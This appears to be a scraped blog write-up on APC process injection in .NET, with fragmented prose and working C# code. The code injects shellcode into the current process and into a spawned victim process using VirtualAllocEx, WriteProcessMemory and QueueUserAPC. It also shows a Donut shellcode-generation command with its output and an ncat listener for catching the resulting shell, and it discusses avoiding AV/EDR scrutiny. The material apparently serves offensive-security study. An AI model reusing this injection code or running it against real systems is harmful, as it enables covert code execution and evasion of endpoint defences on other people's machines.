47
loading...
This website collects cookies to deliver better user experience
APC INJECTION
.Malware can take advantage of Asynchronous Procedure Calls (APC) to force another thread to execute their custom code by attaching it to the APC Queue of the target thread. Each thread has a queue of APCs which are waiting for execution upon the target thread entering alertable state. A thread enters an alertable state if it calls SleepEx, SignalObjectAndWait, MsgWaitForMultipleObjectsEx, WaitForMultipleObjectsEx, or WaitForSingleObjectEx functions. The malware usually looks for any thread that is in an alertable state, and then calls OpenThread and QueueUserAPC to queue an APC to a thread.
Ashkan Hosseini's
writeup (see credits below), gives a very good overview of APCs and how malwares could possible use them for Process Injection
.Asynchronous Programming
. So the security solutions might monitor a chain of call from QueueUserApc
into ResumeThread
or some other functions like CreateThread
, CreateRemoteThread
API calls which are more popular and hence usually more scrutinized by AV/EDR vendors.Common Language Runtime(CLR)
?.exe
or a .dll
. However these PE files do not contain the machine instructions. A common term for them is Managed Code
. They are machine independant. As long as you have the right .Net Framework installed, you are good to go.CLR Loader
loads this Managed Code
and sends the instructions into the Just-in-time
compiler which converts the MSIL code at runtime to machine code which is executed by the CPU.Threads
in .NET are handled by the CLR for you and it might call one of the alertable methods listed above.Thread.Sleep(1000);
SleepEX(..)
.Thread.Sleep
. Due to the nature of the .NET compiled language runtime, user asynchronous procedure calls (APCs) are processed upon the exit of any .NET assembly without manually triggering an alertable state from managed code.
WaitForMultipleObjectsEx
when ever the program exits!WaitForMultipleObjectsEx
, and our shellcode executes.3333
D:\Users\Razali\Source\Repos\donut>donut.exe -a2 -f2 -cShellCode.Program -mMain -o "myshellcode.txt" "D:\Users\Razali\Source\Repos\ProcessInjector.NET\ProcessInjector\ShellCode\bin\Release\shellcode.exe"
[ Donut shellcode generator v0.9.3
[ Copyright (c) 2019 TheWover, Odzhan
[ Instance type : Embedded
[ Module file : "D:\Users\Razali\Source\Repos\ProcessInjector.NET\ProcessInjector\ShellCode\bin\Release\shellcode.exe"
[ Entropy : Random names + Encryption
[ File type : .NET EXE
[ Target CPU : amd64
[ AMSI/WDLP : continue
[ Shellcode : "myshellcode.txt"
-a2
specifies to compile the shellcode to amd64
-f2
specifies to encode it to base64
-c
specifies the <namespace>.<class name>
-m
specifies the Method name
-o
specifies the output filename
C:\Users\Razali\Desktop\ncat-portable-5.59BETA1>ncat -l 3333
static void SelfInject(byte[] shellcode)
{
IntPtr allocatedSpacePtr = VirtualAlloc(0, shellcode.Length, 0x00001000, 0x40);
Marshal.Copy(shellcode, 0, allocatedSpacePtr, shellcode.Length);
QueueUserAPC(allocatedSpacePtr, GetCurrentThread(), 0);
Console.WriteLine("Goodbye");
}
Console Application
is sometimes too quick to perform a race condition on, as the CLR seems to load and start the main thread even before I finish writing my APC into the queue. Windows Form
, which takes a longer time for the UI Thread to be set up by the CLR, allowing me to quickly inject my APC before it begins. What we expect to observe is to achieve a shell without even exiting the .NET process, as the shell is achieved even before the UI Thread(main thread) starts. Since the shell is being run by the UI Thread, we won't see the Windows Form
as the UI Thread is busy with my shell.static void InjectRunningProcessUsingRaceCondition(byte[] shellcode, string victimProcessPath)
{
STARTUPINFO startupinfo = new STARTUPINFO();
PROCESS_INFORMATION processInformation = new PROCESS_INFORMATION();
CreateProcess(null, victimProcessPath, 0, 0, false, 0, 0, null, ref startupinfo, ref processInformation);
IntPtr allocatedSpacePtr = VirtualAllocEx(processInformation.hProcess, IntPtr.Zero, shellcode.Length, 0x00001000, 0x40);
IntPtr bytesWritten = IntPtr.Zero;
WriteProcessMemory(processInformation.hProcess, allocatedSpacePtr, shellcode, shellcode.Length, out bytesWritten);
Process process = Process.GetProcessById(processInformation.dwProcessId);
foreach (ProcessThread thread in process.Threads)
{
IntPtr threadHandle = OpenThread(0x0010, false, thread.Id);
VirtualProtectEx(processInformation.hProcess, allocatedSpacePtr, shellcode.Length, 0x20, out _);
QueueUserAPC(allocatedSpacePtr, threadHandle, 0);
}
}
Windows Form
boot up first, giving it a headstart by pausing using Thread.Sleep
in my injector code, after which I perform the injection.static void InjectRunningProcess(byte[] shellcode, string victimProcessPath)
{
STARTUPINFO startupinfo = new STARTUPINFO();
PROCESS_INFORMATION processInformation = new PROCESS_INFORMATION();
CreateProcess(null, victimProcessPath, 0, 0, false, 0, 0, null, ref startupinfo, ref processInformation);
//Thread sleep is used here to give the victim process time to load and run its main thread.
//We do not want to race against it.
Thread.Sleep(3000);
IntPtr allocatedSpacePtr = VirtualAllocEx(processInformation.hProcess, IntPtr.Zero, shellcode.Length, 0x00001000, 0x40);
IntPtr bytesWritten = IntPtr.Zero;
WriteProcessMemory(processInformation.hProcess, allocatedSpacePtr, shellcode, shellcode.Length, out bytesWritten);
Process process = Process.GetProcessById(processInformation.dwProcessId);
foreach (ProcessThread thread in process.Threads)
{
IntPtr threadHandle = OpenThread(0x0010, false, thread.Id);
VirtualProtectEx(processInformation.hProcess, allocatedSpacePtr, shellcode.Length, 0x20, out _);
QueueUserAPC(allocatedSpacePtr, threadHandle, 0);
}
}
47